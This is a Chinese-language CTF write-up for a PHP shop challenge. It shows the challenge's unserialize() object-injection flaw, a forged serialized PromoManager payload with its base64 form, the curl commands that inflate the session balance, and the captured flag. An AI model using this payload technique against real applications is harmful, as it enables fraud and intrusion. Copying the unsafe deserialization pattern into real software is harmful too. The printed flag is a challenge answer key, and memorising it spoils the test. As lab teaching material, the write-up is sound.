[Web] 御网杯 Php Payment

👁 0 views
📅 2026-5-30 ⏱ 1 min 🏆 御网杯

CTF Web题 Writeup:极简支付 (php-payment)

题目信息

  • 题目地址: 47.99.147.34:24357
  • 题目描述: 一个现代化的数字资产商城,买一个 Supreme Flag 需要 99999 巨款!有没有什么隐藏的 VIP 优惠券能用呢?
  • Flag: flag{f8f53167aeb75bafbd4b63f3228bd58b}

1. 信息收集

拿到题目附件后,首先分析源码结构:

web/php-payment/src/
├── index.php          # 主页面,初始化 session(余额 20 金币)
├── buy.php            # 购买接口,flag 需要 99999 金币
├── config.php         # 配置文件,包含 SECRET_SALT
├── models.php         # 定义了 PromoManager 类
├── app.js             # 前端逻辑
└── api/
├── apply_coupon.php   # 优惠券应用接口 ⭐关键文件
└── status.php

2. 漏洞分析

核心漏洞:PHP 反序列化(Object Injection)

api/apply_coupon.php 中:

$decoded = base64_decode($couponData);
$promo = @unserialize($decoded);  // ⚠️ 直接反序列化用户输入!

用户输入的 Base64 编码的优惠券数据被直接传入 unserialize(),这是一个经典的 PHP 反序列化漏洞

利用链:PromoManager 类

models.php 中定义了 PromoManager 类:

class PromoManager {
public $promo_credit;
public $promo_code;

public function __construct($code, $credit) {
$this->promo_code = $code;
$this->promo_credit = $credit;
}

function __destruct() {
if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
$_SESSION['balance'] += intval($this->promo_credit);
}
}
}

关键点__destruct() 析构方法会在对象销毁时自动执行,将 promo_credit 的值加到 $_SESSION['balance'] 上。只要我们构造一个 promo_credit 足够大的 PromoManager 对象,就能获得足够金币购买 flag。

3. Exploit

Step 1:构造恶意序列化数据

我们需要构造一个 PromoManager 对象,promo_credit 设为 100000(大于 99999):

O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:1:"x";}

Base64 编码:

TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==

Step 2:初始化 Session 并应用优惠券

# 先访问首页,获取 session cookie
curl -c cookies.txt "http://47.99.147.34:24357/"

# 应用优惠券(触发反序列化,余额 +100000)
curl -b cookies.txt -X POST "http://47.99.147.34:24357/api/apply_coupon.php" \
-d "coupon=TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ=="

# 响应:{"success":true,"message":"Coupon processed."}

Step 3:购买 Flag

curl -s -b cookies.txt -X POST "http://47.99.147.34:24357/buy.php" -d "item=flag"

响应:

{"success":true,"message":"购买 successful! Your Flag is [ flag{f8f53167aeb75bafbd4b63f3228bd58b} ]","balance":21}

4. Flag

flag{f8f53167aeb75bafbd4b63f3228bd58b}

5. 总结

| 要素 | 说明 | |------|------| | 漏洞类型 | PHP 反序列化(Object Injection) | | 利用链 | unserialize()PromoManager::__destruct()$_SESSION['balance'] += |